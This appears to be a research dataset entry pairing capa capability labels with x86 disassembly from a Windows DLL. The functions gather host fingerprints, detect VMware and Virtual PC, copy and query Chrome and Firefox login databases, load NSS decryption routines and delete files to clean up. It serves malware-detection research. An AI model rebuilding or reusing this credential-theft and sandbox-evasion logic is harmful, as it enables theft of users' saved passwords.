joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015b17
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x280
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0x280
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.iphlpapi.dll_GetAdaptersInfo
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x6f
jne 0x10015b87
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.iphlpapi.dll_GetAdaptersInfo
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10015c1f
cmp dword [ebp - 8], 0
je 0x10015c1f
push 0x40
push 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 0x199]
push edx
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 0x198]
push ecx
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx + 0x197]
push eax
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 0x196]
push edx
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 0x195]
push ecx
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx + 0x194]
push eax
push str._02X__02X__02X__02X__02X__02X
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x30
je 0x10015c1a
jmp 0x10015c1f
jmp 0x10015b91
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10015c28
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0x18]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 8], 0x7e
mov byte [ebp - 7], 0x4d
mov byte [ebp - 6], 0x48
mov byte [ebp - 5], 0x7a
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10015d4a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
mov edx, dword [ebp + 0xc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
push 1
push str.mark
push 0x1008c5c4
push SysReAllocString
call fcn.100104db
add esp, 0x20
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10015da0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop ebp
ret
Function at 0x10016806
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007f8b0
push 0x10025bb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push ebx
mov ebx, 0
mov eax, 1
invalid

Function at 0x10016881
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007f8c0
push 0x10025bb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
jmp 0x100168f4
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017445
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
push edi
mov dword [ebp - 0x248], 0
mov ecx, 0x4f
xor eax, eax
lea edi, [ebp - 0x244]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x1008c818
lea edx, [ebp - 0x104]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
mov byte [ebp - 0x34c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x34b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xffffffff
jne 0x100174e9
jmp 0x100175af
push 0x1008c820
lea edx, [ebp - 0x21c]
push edx
call fcn.1000d980
add esp, 8
test eax, eax
je 0x10017519
push 0x1008c824
lea eax, [ebp - 0x21c]
push eax
call fcn.1000d980
add esp, 8
test eax, eax
jne 0x1001751b
jmp 0x1001757c
push 0x104
push 0
lea ecx, [ebp - 0x34c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x21c]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x1008c828
lea ecx, [ebp - 0x34c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, dword [ebp - 0x248]
and edx, 0x10
test edx, edx
je 0x1001756f
lea eax, [ebp - 0x34c]
push eax
call fcn.10017445
add esp, 4
jmp 0x1001757c
lea ecx, [ebp - 0x34c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x248]
push edx
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100174e9
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100175b4
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
je 0x100175d7
jmp 0x1001766b
push str.20200316
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x100175f8
push eax
jmp 0x100175f3
mov eax, esp
test al, 1
je 0x100175f5
jmp 0x100175fc
movq qword [esp - 0x15], xmm0
salc
inc esp
and al, 0xeb
jmp 0x100175e5
jmp 0x100175e9
dec esp
pop eax
call 0x100173b6
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.C:ProgramData_fapps.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.svchost.exe
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10017661
push str.C:ProgramDataAmdSoft
call fcn.10017445
add esp, 4
push 4
call sym.Plguins.dll_ODBC2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10017679
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push str.Test
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 4
call sym.Plguins.dll_ODBC2
add esp, 4
mov eax, 1
test eax, eax
je 0x100176a7
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10017691
pop ebp
ret
Function at 0x10017b1a
Capabilities:
Copy file
Delete file
Print debug messages
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push edi
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 4], 0
push 0x64
lea eax, [ebp - 0x68]
push eax
push 0x1008c8b0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov byte [ebp - 0x238], 0
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0x237]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x238]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.Local_SettingsApplication_DataGoogleChromeUser_DataDefaultLogin_Data
lea eax, [ebp - 0x238]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov byte [ebp - 0x16c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x16b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea ecx, [ebp - 0x16c]
push ecx
push str._appdata_123.db
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
lea edx, [ebp - 0x16c]
push edx
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 4], eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x170]
push ecx
lea edx, [ebp - 0x16c]
push edx
call fcn.1007d010
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10017c1c
mov eax, dword [ebp - 0x170]
push eax
call fcn.1007ba20
add esp, 4
push 0x1008c91c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10017c81
push 0x1008c928
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x23c]
push ecx
mov edx, dword [ebp - 0x170]
push edx
push 0x10017c86
push str.SELECT__FROM_logins
mov eax, dword [ebp - 0x170]
push eax
call fcn.10050950
add esp, 0x14
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10017c62
push str.sqlite3_exec
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0x170]
push ecx
call fcn.1007ba20
add esp, 4
lea edx, [ebp - 0x16c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10018011
Capabilities:
Enumerate browser history

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 8], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x1007f938
push 1
push 0
push str._J7_
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x10018127
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
push ecx
call dword [eax + 0x1c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x1001811b
cmp dword [ebp - 8], 0x1388
jge 0x1001810f
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
push 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x10]
push eax
call dword [edx + 0xc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1001810f
cmp dword [ebp - 0x34], 0
je 0x1001810a
push 0x3f
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.MSVCRT.dll_wcschr]
add esp, 8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x100180c1
mov edx, dword [ebp - 0x40]
mov word [edx], 0
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x44]
mov dword [eax + edx*4], ecx
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp 0x1001806f
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x10]
push eax
call dword [edx + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov eax, dword [ebp - 4]
push eax
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x10018134
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [ebp + 0xc]
mov word [eax], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 1
push 0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0x8004
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100182ac
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
lea edx, [eax + eax + 2]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100182ac
mov dword [ebp - 0x20], 0x14
push 0
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x1c]
push eax
push 2
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x100182ac
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov byte [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
jmp 0x1001820b
mov ecx, dword [ebp - 0x128]
add ecx, 1
mov dword [ebp - 0x128], ecx
cmp dword [ebp - 0x128], 0x14
jge 0x10018272
mov edx, dword [ebp - 0x128]
mov al, byte [ebp + edx - 0x1c]
mov byte [ebp - 0x12c], al
mov cl, byte [ebp - 0x124]
add cl, byte [ebp - 0x12c]
mov byte [ebp - 0x124], cl
mov edx, dword [ebp - 0x12c]
and edx, 0xff
push edx
mov eax, dword [ebp + 0xc]
push eax
push 0x1008ca1c
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x120]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
jmp 0x100181fc
mov ecx, dword [ebp - 0x124]
and ecx, 0xff
push ecx
mov edx, dword [ebp + 0xc]
push edx
push str._s_2.2X
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10018835
Capabilities:
Copy file
Delete file
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xd4], 0
mov byte [ebp - 0xd0], 0
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0xcf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xd0]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str._signons.sqlite
lea edx, [ebp - 0xd0]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0x1008cac8
lea eax, [ebp - 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100188d3
push str.CopyFile_failed_n
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
add ecx, 0x40
push ecx
call dword [sym.imp.MSVCRT.dll_fprintf]
add esp, 8
xor eax, eax
jmp 0x100189b0
lea edx, [ebp - 8]
push edx
push 0x1008cae8
call fcn.1007d010
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10018928
mov eax, dword [ebp - 8]
push eax
call fcn.1007c930
add esp, 4
push eax
push str.Cant_open_database:__s_n
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
add ecx, 0x40
push ecx
call dword [sym.imp.MSVCRT.dll_fprintf]
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call fcn.1007ba20
add esp, 4
mov eax, 1
jmp 0x100189b0
lea eax, [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0x100189b5
push str.SELECT__FROM_moz_logins
mov edx, dword [ebp - 8]
push edx
call fcn.10050950
add esp, 0x14
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10018975
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xd4]
push ecx
push str.SQL_error:__s___d__n
mov edx, dword [sym.imp.MSVCRT.dll__iob]
add edx, 0x40
push edx
call dword [sym.imp.MSVCRT.dll_fprintf]
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.1007ba20
add esp, 4
push str.copy_ff_db
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100189ad
push str.DeleteFile_failed_n
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
add ecx, 0x40
push ecx
call dword [sym.imp.MSVCRT.dll_fprintf]
add esp, 8
mov eax, dword [ebp - 4]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10018de8
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push edi
mov dword [ebp - 0x404], 0
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x64
lea eax, [ebp - 0x46c]
push eax
push str.UserProfile
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 0x404], eax
mov byte [ebp - 0x72c], 0
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0x72b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x72c]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.Application_DataMozillaFirefox_
lea eax, [ebp - 0x72c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov byte [ebp - 0x828], 0
mov ecx, 0x3e
xor eax, eax
lea edi, [ebp - 0x827]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea ecx, [ebp - 0x72c]
push ecx
lea edx, [ebp - 0x828]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.profiles.ini
lea eax, [ebp - 0x828]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x1008cd0c
lea ecx, [ebp - 0x828]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0
jne 0x10018ef3
lea edx, [ebp - 0x828]
push edx
push str.Unable_to_find_firefox_profile_file:__s_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
xor eax, eax
jmp 0x1001902f
mov byte [ebp - 0x664], 0
mov ecx, 0x7c
xor eax, eax
lea edi, [ebp - 0x663]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x72c]
push eax
lea ecx, [ebp - 0x664]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
mov dword [ebp - 0x82c], 0
mov edx, dword [ebp - 0x470]
push edx
push 0x400
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.MSVCRT.dll_fgets]
add esp, 0xc
test eax, eax
je 0x10018fef
cmp dword [ebp - 0x82c], 0
jne 0x10018f7e
push str.Namedefault
lea ecx, [ebp - 0x400]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10018f7e
mov dword [ebp - 0x82c], 1
jmp 0x10018f2c
cmp dword [ebp - 0x82c], 0
je 0x10018fea
push str.Path
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10018fea
push 0x3d
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
add eax, 1
mov dword [ebp - 0x830], eax
mov ecx, dword [ebp - 0x830]
push ecx
lea edx, [ebp - 0x664]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x664]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov byte [ebp + eax - 0x665], 0
jmp 0x10018fef
jmp 0x10018f2c
mov ecx, dword [ebp - 0x470]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x1f4
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0x408], eax
lea edx, [ebp - 0x664]
push edx
mov eax, dword [ebp - 0x408]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp - 0x408]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10019034
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push esi
push edi
mov ecx, 0x10
mov esi, str.SOFTWAREClientsStartMenuInternet_firefox.exe_shellopencommand
lea edi, [ebp - 0x154]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x158], 0x104
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
lea ecx, [ebp - 0x154]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100190a4
lea edx, [ebp - 0x154]
push edx
push str.Failed_to_open_the_firefox_registry_key_:_HKLM_s
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
xor eax, eax
jmp 0x10019150
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x15c]
push edx
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100190e7
push str.Failed_to_read_the_firefox_path_value_from_registry_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10019150
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x5c
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
mov byte [ecx], 0
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x107]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp - 0x110]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10019156
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jne 0x1001917a
mov eax, 1
jmp 0x100192d2
mov dword [ebp - 8], 0
mov eax, dword [0x1008c88c]
mov dword [ebp - 4], eax
jmp 0x100191a1
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1008c88c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100191c4
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100192d6
add esp, 8
test eax, eax
jne 0x100191c2
xor eax, eax
jmp 0x100192d2
jmp 0x1001918b
push str.NSS_Init
mov eax, dword [0x100953f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953c8], eax
push str.NSS_Shutdown
mov ecx, dword [0x100953f0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953e0], eax
push str.PK11_GetInternalKeySlot
mov edx, dword [0x100953f0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953e8], eax
push str.PK11_FreeSlot
mov eax, dword [0x100953f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953d8], eax
push str.PK11_Authenticate
mov ecx, dword [0x100953f0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953e4], eax
push str.PK11SDR_Decrypt
mov edx, dword [0x100953f0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953dc], eax
push str.PK11_CheckUserPassword
mov eax, dword [0x100953f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953d4], eax
push str.PL_Base64Decode
mov ecx, dword [0x100953f0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100953cc], eax
cmp dword [0x100953c8], 0
je 0x100192c1
cmp dword [0x100953e0], 0
je 0x100192c1
cmp dword [0x100953e8], 0
je 0x100192c1
cmp dword [0x100953e4], 0
je 0x100192c1
cmp dword [0x100953dc], 0
je 0x100192c1
cmp dword [0x100953d8], 0
je 0x100192c1
cmp dword [0x100953d4], 0
je 0x100192c1
cmp dword [0x100953cc], 0
jne 0x100192cd
call fcn.100193f8
mov eax, 1
jmp 0x100192d2
mov eax, 1
mov esp, ebp
pop ebp
ret